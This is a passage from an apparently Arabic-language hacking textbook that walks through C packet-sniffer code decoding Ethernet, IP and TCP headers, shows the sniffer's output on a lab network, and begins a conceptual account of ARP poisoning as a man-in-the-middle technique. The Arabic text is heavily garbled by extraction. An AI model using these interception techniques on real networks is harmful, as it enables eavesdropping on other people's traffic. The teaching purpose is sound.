*)packet + total_header_size; ‫ال‬ ‫بتجهيز‬ ‫نا‬ُ‫ذ‬ ‫نقوم‬ pointer ‫ى‬‫سم‬ُ‫مل‬‫ا‬ pkt_data ‫ال‬ ‫بداية‬ ‫لىل‬ ‫شري‬ُ‫ي‬‫ل‬ data ‫ال‬ ‫بداطل‬ packet َ‫ط‬َ‫ق‬‫لت‬ُ‫مل‬‫ا‬ ‫ة‬ ، ‫سيكون‬ ‫وبالطبع‬ ‫نوع‬ ‫من‬ unsigned char ‫ال‬ ‫تستطيع‬ ‫كي‬ Dump( ) ‫م‬ ‫ل‬ُ‫م‬‫التعا‬ .‫عه‬ pkt_data_len = cap_header->len - total_header_size; ‫ال‬ ‫ذذا‬ local variable ‫ال‬ ‫بداطله‬ ‫سيحمل‬ " length of data " !‫ققط‬ ..
  • 215.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [215] ‫ال‬ ‫طرح‬ ‫بعد‬ ‫وذلك‬ " length of total header " ‫ال‬ ‫من‬ " length of packet ." ‫ال‬ ‫كون‬َ‫ي‬ َ ‫وس‬ Argument ‫لل‬ ‫الثانية‬ Dump( ) ‫كام‬ :‫ييل‬ if(pkt_data_len > 0) { printf("ttt%u bytes of packet datan", pkt_data_len); dump(pkt_data, pkt_data_len); } else printf("tttNo Packet Datan"); ‫ال‬ ‫ذذا‬ ‫من‬ ‫الثاين‬ ‫اجلزء‬ ‫توضيح‬ ‫من‬ ‫انتهينا‬ ‫نكون‬ ‫ذنا‬ ‫لىل‬ Sniffer . ‫واآل‬ ‫ا‬ ‫دور‬ ‫جاء‬ ‫ن‬ ‫الكود‬ ‫من‬ ‫الثالث‬ ‫جلزء‬ : ‫اإل‬ ‫نا‬َ‫ل‬ ‫وضح‬ُ‫ي‬ َ ‫س‬ ‫ِبا‬ ‫تقوم‬ ‫التي‬ ‫التفصيلية‬ ‫جراءات‬ ‫الثالث‬ functions :‫التالية‬ void decode_ethernet(const u_char *); void decode_ip(const u_char *); u_int decode_tcp(const u_char *); ‫نظر‬ ‫ُلق‬‫ن‬‫ل‬ ‫ة‬ :‫الكود‬ ‫بقية‬ ‫عىل‬ void decode_ethernet(const u_char *header_start) { int i; const struct ether_hdr *ethernet_header; ethernet_header = (const struct ether_hdr *)header_start; printf("[[ Layer 2 :: Ethernet Header ]]n"); printf("[ Source: %02x", ethernet_header->ether_src_addr[0]); for(i=1; i < ETHER_ADDR_LEN; i++) printf(":%02x", ethernet_header->ether_src_addr[i]); printf("tDest: %02x", ethernet_header->ether_dest_addr[0]); for(i=1; i < ETHER_ADDR_LEN; i++)
  • 216.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [216] printf(":%02x", ethernet_header->ether_dest_addr[i]); printf("tType: %hu ]n", ethernet_header->ether_type); } void decode_ip(const u_char *header_start) { const struct ip_hdr *ip_header; ip_header = (const struct ip_hdr *)header_start; printf("t(( Layer 3 ::: IP Header ))n"); printf("t( Source: %st", inet_ntoa(ip_header->ip_src_addr)); printf("Dest: %s )n", inet_ntoa(ip_header->ip_dest_addr)); printf("t( Type: %ut", (u_int) ip_header->ip_type); printf("ID: %hutLength: %hu )n", ntohs(ip_header->ip_id), ntohs(ip_header->ip_len)); } u_int decode_tcp(const u_char *header_start) { u_int header_size; const struct tcp_hdr *tcp_header; tcp_header = (const struct tcp_hdr *)header_start; header_size = 4 * tcp_header->tcp_offset; printf("tt{{ Layer 4 :::: TCP Header }}n"); printf("tt{ Src Port: %hut", ntohs(tcp_header->tcp_src_port)); printf("Dest Port: %hu }n", ntohs(tcp_header->tcp_dest_port)); printf("tt{ Seq #: %ut", ntohl(tcp_header->tcp_seq)); printf("Ack #: %u }n", ntohl(tcp_header->tcp_ack)); printf("tt{ Header Size: %utFlags: ", header_size); if(tcp_header->tcp_flags & TCP_FIN) printf("FIN "); if(tcp_header->tcp_flags & TCP_SYN) printf("SYN "); if(tcp_header->tcp_flags & TCP_RST) printf("RST "); if(tcp_header->tcp_flags & TCP_PUSH) printf("PUSH ");
  • 217.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [217] if(tcp_header->tcp_flags & TCP_ACK) printf("ACK "); if(tcp_header->tcp_flags & TCP_URG) printf("URG "); printf(" }n"); return header_size; } ‫ن‬ ‫بدأ‬ ‫أول‬ ‫برشح‬ function ، ‫ال‬ ‫وذي‬ decode_ethernet( ) void decode_ethernet(const u_char *header_start) { int i; ‫ال‬ ‫ذذه‬ ‫ذ‬ ُ ‫تأط‬ function ‫ال‬ Packet ‫ك‬ Argument ‫وذو‬ ، pointer ‫ال‬ ‫بداية‬ ‫لىل‬ ‫شري‬ُ‫ي‬ packet ‫ال‬ ‫حيث‬ Ethernet header . ‫تغري‬ُ‫م‬ ‫قنا‬‫ر‬َ‫ع‬ ‫م‬ُ‫ث‬ ( i ) ‫وذو‬ local ‫ال‬ ‫هلذه‬ function . const struct ether_hdr *ethernet_header; ‫اشتققنا‬ ‫م‬ُ‫ث‬ object ‫ال‬ ‫ذذا‬ ‫من‬ struct ether_hdr ‫ل‬ ‫ال‬ ‫نفس‬ ‫ذ‬ ُ ‫يأط‬ Elements ‫ال‬ ‫ذذا‬ ‫بداطل‬ ‫التي‬ struct . ‫ال‬ ‫ذذا‬ ‫تذكر‬ ‫ذل‬ Struct ‫؟‬ :‫به‬ ‫ك‬ ُ‫ِّر‬‫ك‬‫ذ‬ُ‫أ‬‫س‬ #define ETHER_ADDR_LEN 6 #define ETHER_HDR_LEN 14 struct ether_hdr { unsigned char ether_dest_addr[ETHER_ADDR_LEN]; //Dest. MAC unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC unsigned short ether_type; // Type of Ethernet packet };
  • 218.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [218] ‫الكود‬ ‫ل‬‫ُكم‬‫ن‬‫ل‬ .. ethernet_header = (const struct ether_hdr *)header_start; ‫ال‬ ‫نا‬ُ‫ذ‬ ‫ُخرب‬‫ن‬‫س‬ object ‫ال‬ ‫يمأل‬ ‫بأن‬ ‫ذذا‬ elements ‫املوجود‬ ‫بالبيانات‬ ‫بداطله‬ ‫التي‬ ‫ة‬ ‫ال‬ ‫يف‬ Ethernet header ‫ال‬ ‫داطل‬ packet ‫التقاطها‬ ‫تم‬ ‫التي‬ . printf("[[ Layer 2 :: Ethernet Header ]]n"); printf(“[ Source: %02x”, ethernet_header->ether_src_addr[0]); for(i=1; I < ETHER_ADDR_LEN; i++) printf(“:%02x”, ethernet_header->ether_src_addr[i]); ‫ا‬ ‫نا‬ُ‫ذ‬ ‫تقوم‬ ‫ل‬ printf( ) ‫ال‬ ‫بطباعة‬ " Source MAC Address ." ‫ال‬ ‫لىل‬ ‫أرشنا‬ ‫ققد‬ element ‫ال‬ ‫داطل‬ ‫عنه‬ ِّ ‫رب‬َ‫ع‬ُ‫ي‬ ‫الذي‬ struct ، ‫ال‬ ‫كتابة‬ ‫تتم‬ MAC ‫عمل‬ ‫طريق‬ ‫عن‬ loop ‫بأول‬ ‫تبدأ‬ byte ‫بال‬ ‫وتنتهي‬ byte ‫رقم‬ 6 ‫األطري‬ ‫وذو‬ . printf("tDest: %02x", ethernet_header->ether_dest_addr[0]); for(i=1; i < ETHER_ADDR_LEN; i++) printf(":%02x", ethernet_header->ether_dest_addr[i]); printf("tType: %hu ]n", ethernet_header->ether_type); } ‫ال‬ ‫بطباعة‬ ‫لنقوم‬ ً‫ا‬‫أيض‬ ‫نا‬ُ‫ذ‬ ‫األمر‬ ‫نفس‬ ‫ُكرر‬‫ن‬ " Destination MAC Address ." ‫بطباعة‬ ‫سيقوم‬ ‫سطر‬ ‫آطر‬ ‫ثم‬ " Type of packet " ‫ال‬ ‫وذو‬ element ‫ال‬ ‫داطل‬ ‫األطري‬ Struct . ‫س‬ ‫ن‬ ‫ال‬ ‫ذذا‬ ‫عن‬ ً‫ال‬‫قلي‬ ‫تكلم‬ field ..
  • 219.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [219] ‫الشكل‬ ‫التايل‬ ‫ال‬ ‫يوضح‬ Frame ‫ال‬ ‫يف‬ Data-Link Layer ، ‫ال‬ ‫عىل‬ ‫الرتكيز‬ ‫ُريد‬‫ن‬ MAC Header ، ‫ال‬ ً‫ا‬‫صوص‬ ُ ‫وط‬ Ether Type ‫ال‬ ‫ذذا‬ ‫لليه‬ ‫شري‬ُ‫ي‬ ‫ما‬ ‫لخص‬ُ‫م‬ ‫ذذا‬ field : The two-octet EtherType field in an Ethernet frame, preceded by destination and source MAC addresses, that identifies an upper layer protocol encapsulating the frame data. For example, an EtherType value of 0x0800 signals that the frame contains an IPv4 datagram. Likewise, an EtherType of 0x0806 indicates an ARP frame, 0x8100 indicates an IEEE 802.1Q frame ‫لل‬ ‫بالنسبة‬ function ‫الثانية‬ : decode_ip( ) ‫ال‬ ‫يف‬ ‫ا‬‫ِب‬ ‫منا‬ُ‫ق‬ ‫التي‬ ‫األمور‬ ‫بنفس‬ ‫سنقوم‬ function ‫السابق‬ ‫ة‬ ‫ال‬ ‫عىل‬ ‫نظرة‬ ‫للقاء‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ . struct ..‫بإنشائه‬ ‫منا‬ُ‫ق‬ ‫الذي‬ ‫بال‬ ‫اخلاص‬ IP Header .‫بل‬َ‫ق‬ ‫ن‬‫م‬ ‫م‬ُ‫ق‬ ‫بإنشاء‬ ‫نا‬ object ‫بإسم‬ ً‫ا‬‫أيض‬ ip_header ‫ال‬ ‫من‬ " struct ip_hdr " ‫ال‬ ‫نفس‬ ‫ذ‬ ُ ‫يأط‬‫ل‬ elements ‫اخلاص‬ ‫ة‬ .‫به‬ ُ‫ه‬‫أن‬ ‫الحظ‬ ‫ال‬ ‫رض‬َ‫ع‬‫ب‬ ‫منا‬ُ‫ق‬ ‫عندما‬ " Source and Destination IP Addresses " ‫ال‬ ‫استخدمنا‬ function ‫ذذه‬ ‫نا‬َ‫ل‬ ‫ل‬ِّ‫و‬َ ُ ‫حت‬ ‫التي‬ ‫ال‬ ‫من‬ ‫العناوين‬ Network type ‫ال‬ ‫لىل‬ " ASCII Dotted notation ."
  • 220.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [220] :‫ر‬ُ‫ط‬‫األس‬ ‫هلذه‬ ‫نأيت‬ printf("t( Type: %ut", (u_int) ip_header->ip_type); printf("ID: %hutLength: %hu )n", ntohs(ip_header->ip_id), ntohs(ip_header->ip_len)); .‫الربوتوكول‬ ‫نوع‬ ‫عرض‬ ‫يتم‬ ‫سطر‬ ‫أول‬ ‫يف‬ ‫ال‬ ‫ذذا‬ field ‫ال‬ ‫يف‬ ‫املوجود‬ IPv4 Header ‫يوضح‬ ،‫َخدم‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫الربوتوكول‬ ‫نوع‬ ‫لنا‬ ‫لل‬ ‫شار‬ُ‫ي‬ ً‫ال‬‫قمث‬ TCP ‫برقم‬ 6 ‫و‬ ، ‫ال‬ ‫لىل‬ ‫شار‬ُ‫ي‬ UDP ‫برقم‬ 17 ‫ال‬ ‫و‬ ، ICMP ‫برقم‬ 1 . ..‫وذكذا‬ ‫الرمز‬ ‫استخدمنا‬ (->) ‫ال‬ ‫لىل‬ ‫ُشري‬‫ن‬‫ل‬ Element ‫ال‬ ‫بنوع‬ ‫اخلاص‬ IP ‫ال‬ ‫ل‬‫داط‬ ‫املوجود‬ IP Header Structure ، ‫يف‬ ‫م‬ُ‫ث‬ ‫ال‬ ‫نطبع‬ ‫الثاين‬ ‫السطر‬ ID ، ‫يف‬ ‫احلقيق‬ ‫ة‬ ‫ال‬ ‫ذذا‬ ‫م‬َ‫ستخد‬ُ‫ي‬ field ‫إلرسال‬ ‫تنا‬‫غب‬َ‫ر‬ ‫حالة‬ ‫يف‬ Packet ‫لقطع‬ ‫تقطيعها‬ ‫قيتم‬ ،‫كبرية‬ packets ‫صغري‬ ‫ة‬ ‫ال‬ ‫ذذا‬ ‫قنستخدم‬ ،‫ولرساهلم‬ field ‫مع‬ field ‫ال‬ ‫وذو‬ ‫ر‬ َ ‫آط‬ fragmentation . ‫ال‬ ‫بني‬ ‫القة‬‫ع‬ ‫ناك‬ُ‫ذ‬ ‫كان‬ ‫لذا‬ ‫ما‬ ‫ُد‬‫ك‬‫للتأ‬ ‫الكود‬ ‫نتائج‬ ‫يف‬ َ‫ر‬َ‫ه‬َ‫ظ‬ ‫بام‬ُ‫ر‬ packets ‫ببع‬ ‫لتقطه‬ُ‫مل‬‫ا‬ .‫ضها‬ ‫يف‬ ‫استخدمنا‬ ‫أننا‬ ‫الحظ‬ ‫ال‬ ‫والثالث‬ ‫الثاين‬ ‫السطر‬ function ‫ال‬ ‫من‬ ‫نا‬َ‫ل‬ ‫ل‬ِّ‫و‬ ُ ‫حت‬ ‫التي‬ network byte order ‫لىل‬ ‫ال‬ Host byte order . ‫ال‬ ‫ذذه‬ ‫دور‬ ‫يأيت‬ ً‫ا‬‫أطري‬ function : ‫وذي‬ decode_tcp( ) u_int decode_tcp(const u_char *header_start) { u_int header_size;
  • 221.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [221] ‫ربنا‬ ُ ‫خي‬ ‫ال‬ ‫أن‬ ‫البداية‬ ‫يف‬ return type ‫ال‬ ‫ِبذه‬ ‫اخلاص‬ function ‫نوعه‬ unsigned integer ‫ال‬ ‫ذذه‬ ‫يف‬ ‫سطر‬ ‫آطر‬ ‫يف‬ ‫ستظهر‬ ‫وقيمته‬ function :‫ذو‬ ‫ذا‬.. ، return header_size; ‫ال‬ ‫ذذا‬ return value ‫ال‬ ‫لىل‬ ‫سيذذب‬ " tcp_header_length " :‫به‬ َ‫ك‬ ُ‫ِّر‬‫ك‬‫ذ‬ُ‫أ‬‫س‬.. tcp_header_length = decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr)); ‫ث‬ُ‫سيحد‬ ُ‫ه‬‫أن‬ ‫يعني‬ ‫السطر‬ ‫ذذا‬ Call ‫ل‬ function ‫ال‬ ‫ذي‬ decode_tcp( ) ، ‫ذ‬ ُ ‫ستأط‬ Argument ، ‫ال‬ ‫وتفكيك‬ ‫حساب‬‫ب‬ ‫تقوم‬‫ل‬ ،!)‫القوسني‬ ‫بني‬ ‫الذي‬ ‫الطويل‬ ‫اليشء‬ ‫ذذا‬ ‫(ذي‬ TCP Header ، ‫نا‬َ‫ل‬ ‫ع‬‫ج‬ ُ ‫رت‬ َ ‫س‬ ‫النهاية‬ ‫ويف‬ ‫قيمة‬ “return value” ‫ال‬ ‫وذي‬ header_size . ‫ن‬َ‫أ‬ ‫حب‬ُ‫أ‬ ‫بسيط‬ ‫يشء‬ ‫باستثناء‬ ،‫رام‬ُ‫ي‬‫ما‬ ‫عىل‬ ‫مور‬ُ‫أل‬‫ا‬ ‫قية‬َ‫ب‬ ‫تسري‬ ‫م‬ُ‫ث‬ :‫لك‬ ُ‫ه‬‫وضح‬ُ‫أ‬ :‫السطر‬ ‫ذذا‬ ‫معي‬ ‫تأمل‬ header_size = 4 * tcp_header->tcp_offset; ‫به؟‬ ‫نعني‬ ‫ماذا‬ :‫يقول‬ ُ‫ه‬‫لن‬ 4 bytes * offset field ‫ال‬ ‫ذذه‬ 4 bytes ‫رضي‬َ‫ع‬‫ال‬ ‫الرشحية‬ ‫ذي‬ ‫ة‬ ‫لل‬ TCP Header ‫ال‬ ‫أن‬ ‫نعلم‬ ‫قكام‬ ، Header ‫غ‬ُ‫ل‬‫يب‬ ،‫رشائح‬ ‫عدة‬ ‫من‬ ‫يتكون‬ ‫رشحية‬ ‫كل‬ ‫عرض‬ 4 bytes .
  • 222.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [222] ‫وال‬ offset field ‫ال‬ ‫ذذا‬ ‫يف‬ ‫ها‬ُ‫م‬‫استخدا‬ ‫رى‬ َ‫ج‬ ‫التي‬ ‫رضيه‬َ‫ع‬‫ال‬ ‫الرشائح‬ ‫عدد‬ ‫حيوي‬ ‫ذذا‬ Header ‫بساط‬ ‫ُل‬‫ك‬‫ب‬ ‫ذذا‬ .. ‫ة‬ ‫ما‬ .‫عادلة‬ُ‫مل‬‫ا‬ ‫ذذه‬ ‫تعنيه‬ ‫ال‬ ‫هلذا‬ ‫تعريف‬ ‫وذذا‬ field ‫ال‬ ‫من‬ RFC ‫بال‬ ‫اخلاصة‬ TCP Header : Data Offset: 4 bits The number of 32 bit words in the TCP Header. This indicates where the data begins. The TCP header (even one including options) is an integral number of 32 bits long. ‫ال‬ ‫ِبذا‬ ‫يتم‬ ‫وبالتايل‬ field ‫ال‬ ‫حتديد‬ " TCP Header Length ." ‫ال‬ ‫ذذا‬ ‫رشح‬ ‫هناية‬ ‫لىل‬ ‫وصلنا‬ ‫قد‬ ‫ِبذا‬ ‫نكون‬ Sniffer ، ‫التجربة‬ ‫دور‬ َ‫ء‬‫جا‬ ‫واآلن‬ .. ‫التارخيي‬ ‫اللحظة‬ ‫ذذه‬ ‫الستقبال‬ ‫استعد‬ ‫ة‬  reader@hacking:~/booksrc $ gcc -o decode_sniff decode_sniff.c -lpcap reader@hacking:~/booksrc $ sudo ./decode_sniff Sniffing on device eth0 ==== Got a 75 byte packet ====
  • 223.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [223] [[ Layer 2 :: Ethernet Header ]] [ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ] (( Layer 3 ::: IP Header )) ( Source: 192.168.18.1 Dest: 192.168.18.249 ) ( Type: 6 ID: 7755 Length: 61 ) {{ Layer 4 :::: TCP Header }} { Src Port: 35602 Dest Port: 7890 } { Seq #: 2887045274 Ack #: 3843058889 } { Header Size: 32 Flags: PUSH ACK } 9 bytes of packet data 74 65 73 74 69 6e 67 0d 0a | testing.. ==== Got a 66 byte packet ==== [[ Layer 2 :: Ethernet Header ]] [ Source: 00:01:6c:eb:1d:50 Dest: 00:01:29:15:65:b6 Type: 8 ] (( Layer 3 ::: IP Header )) ( Source: 192.168.18.249 Dest: 192.168.18.1 ) ( Type: 6 ID: 15678 Length: 52 ) {{ Layer 4 :::: TCP Header }} { Src Port: 7890 Dest Port: 35602 } { Seq #: 3843058889 Ack #: 2887045283 } { Header Size: 32 Flags: ACK } No Packet Data ==== Got a 82 byte packet ==== [[ Layer 2 :: Ethernet Header ]] [ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ] (( Layer 3 ::: IP Header )) ( Source: 192.168.18.1 Dest: 192.168.18.249 ) ( Type: 6 ID: 7756 Length: 68 ) {{ Layer 4 :::: TCP Header }} { Src Port: 35602 Dest Port: 7890 } { Seq #: 2887045283 Ack #: 3843058889 } { Header Size: 32 Flags: PUSH ACK } 16 bytes of packet data 74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | this is a test.. reader@hacking:~/booksrc $
  • 224.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [224] The conclusion ‫عمل‬ ‫تم‬ ‫كيف‬ ‫السابق‬ ‫املثال‬ ‫يف‬ ‫الحظنا‬ Decode ‫ال‬ ‫وعرض‬ ‫للطبقات‬ Headers ‫اخلاص‬ ‫ة‬ ‫طبق‬ ‫بكل‬ ‫ة‬ ‫ال‬ ‫ثم‬ Data ‫املوجود‬ ‫ة‬ ‫ال‬ ‫داطل‬ packet ‫لتقط‬ُ‫مل‬‫ا‬ ‫ة‬ ‫ال‬ ‫نستقبل‬ ‫كنا‬ ‫أننا‬ ‫أي‬ . data ‫أسفل‬ ‫من‬ (Data-Link Layer) ‫عىل‬‫أل‬ (Application Layer) ، ‫ن‬ ‫الكود‬ ‫يف‬ ‫ُنا‬‫ك‬ ‫حسب‬ ‫طول‬ ‫ال‬ Header ‫اخلاص‬ ‫طبق‬ ‫بكل‬ ‫ة‬ ُ‫ث‬ ‫م‬ ُ‫ن‬ ‫ال‬ ‫م‬ِّ‫ل‬ َ ‫س‬ packet ‫الطبقة‬ ‫لىل‬ ‫تعلوذا‬ ‫التي‬ ، ‫عملية‬ ‫أثناء‬ ‫العمل‬ ‫ِبذا‬ ‫نقوم‬ ‫ال‬ “Decapsulation” . ‫ال‬ ‫لنا‬ ‫تتبقى‬ ‫حتى‬ ‫نستمر‬ Data ‫الفعلي‬ ‫ة‬ ‫ال‬ ‫طرح‬ ‫بعد‬ Length ‫بجمي‬ ‫اخلاص‬ ‫ال‬ ‫ع‬ Headers ‫قن‬ ‫ال‬ ‫حمتويات‬ ‫عرض‬ ‫من‬ ‫تمكن‬ Headers ‫و‬ ‫ال‬ Data ‫الشاش‬ ‫عىل‬ ‫ة‬ . ‫األمر‬ ‫ذذا‬ ‫لك‬ ‫يوضح‬ ‫الشكل‬ ‫ذذا‬ : ‫ظلل‬ُ‫مل‬‫ا‬ ‫اجلزء‬ ‫الحظ‬ ‫بالشكل‬ ‫ال‬ ‫عن‬ ِّ ‫عرب‬ُ‫ي‬ ‫والذي‬ ، Data ‫الطبقات‬ ‫بني‬ ‫نقلها‬ ‫يتم‬ ‫وكيف‬ ، ‫كام‬ ‫عىل‬‫أل‬ ‫أسفل‬ ‫من‬ ‫كانت‬ ً‫ء‬‫سوا‬ .!‫العكس‬ ‫أم‬ ‫مثالنا‬ ‫يف‬
  • 225.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [225] If we analyze the figure, we see:  The application layer sends the data (to be transferred to remote destination) to the transport layer.  The transport layer puts its header in the beginning and sends this complete packet (TCP-header + app-data) to the IP layer.  On the same lines, The IP layer puts its header in front of the data received from TCP So now the structure of IP datagram becomes (IP-header + TCP-header + app-data).  This IP datagram is passed to the ethernet layer which on the same lines adds its own header to IP datagram and then the whole packet is transmitted over network. On the destination host, the reverse process happens. This means that each layer reads its own header in the packet and then strips the header so that finally application receives the app-data. ‫صاحب‬ :‫أسفلها‬ ‫والرشح‬ ‫الصورة‬ HIMANSHU ARORA ‫موقع‬ ‫من‬ thegeekstuff.com ‫اآلن‬ ‫سننطلق‬ ‫ال‬ ‫قلسفة‬ ‫ف‬‫َش‬‫ت‬‫َك‬‫ن‬‫ل‬ " ARP Poisoning " ARP Poisoning Attack ‫بال‬ ‫تعلقة‬ُ‫مل‬‫ا‬ ‫التفاصيل‬ ‫من‬ ‫العديد‬ ‫تفهم‬ ‫اآلن‬ َ ‫أنت‬ Packet Capturing ، ‫ُريد‬‫ن‬ ‫التي‬ ‫األمور‬ ‫بعض‬ ‫لنا‬ ‫يتبقى‬ ‫احلديث‬ ‫نود‬ ‫عنها‬ . ‫كال‬ ‫برنامج‬ ‫باستخدام‬ ‫نقوم‬ ‫عندما‬ WireShark ‫ال‬ ‫أو‬ TCPDump ‫ب‬ ‫لة‬‫تص‬ُ‫مل‬‫ا‬ ‫األجهزة‬ ‫أحد‬ ‫عىل‬ Switch ‫قهذا‬ ‫ال‬ ‫ة‬َ‫ب‬َ‫ق‬‫را‬ُ‫م‬ ‫ن‬‫م‬ ‫كن‬َ‫نتم‬ َ ‫س‬ ‫أننا‬ ‫يعني‬ traffic ‫ل‬ ‫القادم‬ ‫من‬ ‫الصادر‬ ‫أو‬ ‫لينا‬ ‫عندنا‬ . ‫لك‬ ‫ن‬ ‫لن‬ ‫ما‬ ‫مراقبة‬ ‫من‬ ‫نتمكن‬ ‫ت‬ ‫بقية‬ ُ‫ه‬‫فعل‬ ‫ال‬ ‫نفس‬ ‫يف‬ ‫عنا‬َ‫م‬ ‫التي‬ ‫األجهزة‬ Broadcast Domain !! .
  • 226.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [226] ‫ما‬ ‫توضح‬ ‫الصورة‬ ‫ذذه‬ ‫ن‬ ‫ال‬ ‫أن‬ ‫الحظ‬ ،‫عنيه‬ Sniffer ‫لديه‬ visibility ‫حمدود‬ ‫ة‬ : ‫ال‬ ‫أن‬ ‫الشكل‬ ‫ذذا‬ ‫ربنا‬ ُ ‫خي‬ Sniffer ‫ال‬ ‫التقاط‬ ‫من‬ ‫سيتمكن‬ ‫ذذا‬ traffic ‫ال‬ ‫عرب‬ ‫املار‬ Port !‫ققط‬ ‫له‬ ‫خصص‬ُ‫مل‬‫ا‬ ‫ال‬ ‫أن‬ ‫وبام‬ Switch ‫يمتلك‬ CAM Table ‫ال‬ ‫ذذا‬ ‫عرب‬ ‫ل‬‫رس‬ُ‫ي‬ ‫قلن‬ port ‫ال‬ ‫لال‬ Traffic ‫ا‬ ‫ه‬‫ج‬َ‫و‬ُ‫مل‬ ‫ال‬ ‫لاىل‬ Sniffer ‫لن‬ ‫وبالتايل‬ ،‫ققط‬ .‫الشبكة‬ ‫يف‬ ُ‫ه‬‫حول‬ ‫ن‬َ‫م‬ ‫راقبة‬ُ‫م‬ ‫ن‬‫م‬ ‫يتمكن‬ ‫باستخدام‬ ‫ذؤالء‬ ‫راقبة‬ُ‫م‬ ‫بإمكاننا‬ َ ‫الزال‬ ‫ن‬‫لك‬ ‫طر‬ ‫منها‬ ..‫أطرى‬ ‫ق‬ :
  • 227.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [227]  ‫متتلك‬ ‫أن‬ Access ‫ال‬ ‫ذذا‬ ‫عىل‬ Switch ‫ال‬ ‫طاصية‬ ‫بتفعيل‬ ‫قتقوم‬ Port Mirroring ‫ه‬‫ب‬ ‫ُسخ‬‫ن‬ ‫بإرسال‬ ‫ليقوم‬ ‫ة‬ ‫ال‬ ‫من‬ network traffic ‫ال‬ ‫لىل‬ port ‫الذي‬ ‫به‬ ‫هازك‬‫ج‬ ‫ط‬‫َرب‬‫ت‬ ‫م‬ُ‫ث‬ ‫أنت‬ ‫دده‬ ُ ‫حت‬ . ‫ال‬ ‫يوضح‬ ‫الشكل‬ ‫ذذا‬ port mirroring :  ‫الثانية‬ ‫والطريقة‬ ‫ل‬َ‫م‬َ‫ع‬ ‫طريق‬ ‫عن‬ ‫تكون‬ " ARP Spoofing " . ‫و‬ ‫يتم‬ ‫ذلك‬ ‫أحدذم‬ ‫لرسال‬ ‫طريق‬ ‫عن‬ ARP Reply ‫لىل‬ ‫ال‬ ‫رؤية‬ ‫ريد‬ُ‫ي‬ ‫التي‬ ‫األجهزة‬ traffic ‫ِب‬ ‫اخلاص‬ ‫م‬ .
  • 228.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [228] ‫حدوث‬ ‫لىل‬ ‫ذلك‬ ‫يؤدي‬ overwritten ‫لل‬ ARP Cache ‫اخلاص‬ ‫ة‬ ‫اجلديد‬ ‫بالبيانات‬ ‫م‬‫ِب‬ ‫ة‬ ‫بال‬ ‫اخلاصة‬ Attacker ‫ما‬ ‫وذذا‬ . ‫بال‬ ‫عليه‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ ARP Poisoning . ‫ال‬ َ‫م‬‫قا‬ ‫ققد‬ ‫ترى‬ ‫كام‬ Attacker ‫بعمل‬ overwritten ‫لل‬ ARP Cache ‫باليوزر‬ ‫اخلاصة‬ Bob ‫ال‬ ‫ُون‬‫ك‬‫(لي‬ IP ‫ب‬ ‫اخلاص‬ Alice ‫ال‬ ‫قابله‬ُ‫ي‬ MAC ‫بال‬ ‫اخلاص‬ Attacker ،) ‫وأ‬ ‫ال‬ ‫نفس‬ ‫بإرسال‬ ‫قام‬ ً‫ا‬‫يض‬ ARP Reply ‫لليوزر‬ Alice ‫ال‬ ‫تغيري‬ ‫ليتم‬ ARP Cache ‫ال‬ ‫(قأصبح‬ ،‫لدهيا‬ IP ‫ب‬ ‫اخلاص‬ Bob ‫ال‬ ‫يقابله‬ MAC ‫بال‬ ‫اخلاص‬ Attacker .!) ‫بني‬ ‫التواصل‬ ‫عملية‬ ‫ل‬ِّ‫ط‬‫ع‬ُ‫ي‬ ‫لن‬ ‫ذذا‬ Bob ‫و‬ Alice ‫ال‬ َ‫رب‬َ‫ع‬ ‫ولكن‬ ‫ستتم‬ ، Attacker ‫البيانات‬ ‫وصول‬ ‫قبعد‬ . ‫ال‬ ‫لىل‬ Attacker ، ‫سيقوم‬ ‫ال‬ ‫بتعديل‬ Headers ‫ال‬ ‫لاىل‬ ‫ولرجاعهم‬ ‫أطرى‬ ً‫ة‬‫مر‬ Switch ‫لىل‬ ‫بتوصيلهم‬ ‫ليقوم‬ Alice ‫و‬ Bob . ‫ال‬ ‫أن‬ ‫وبام‬ Switch 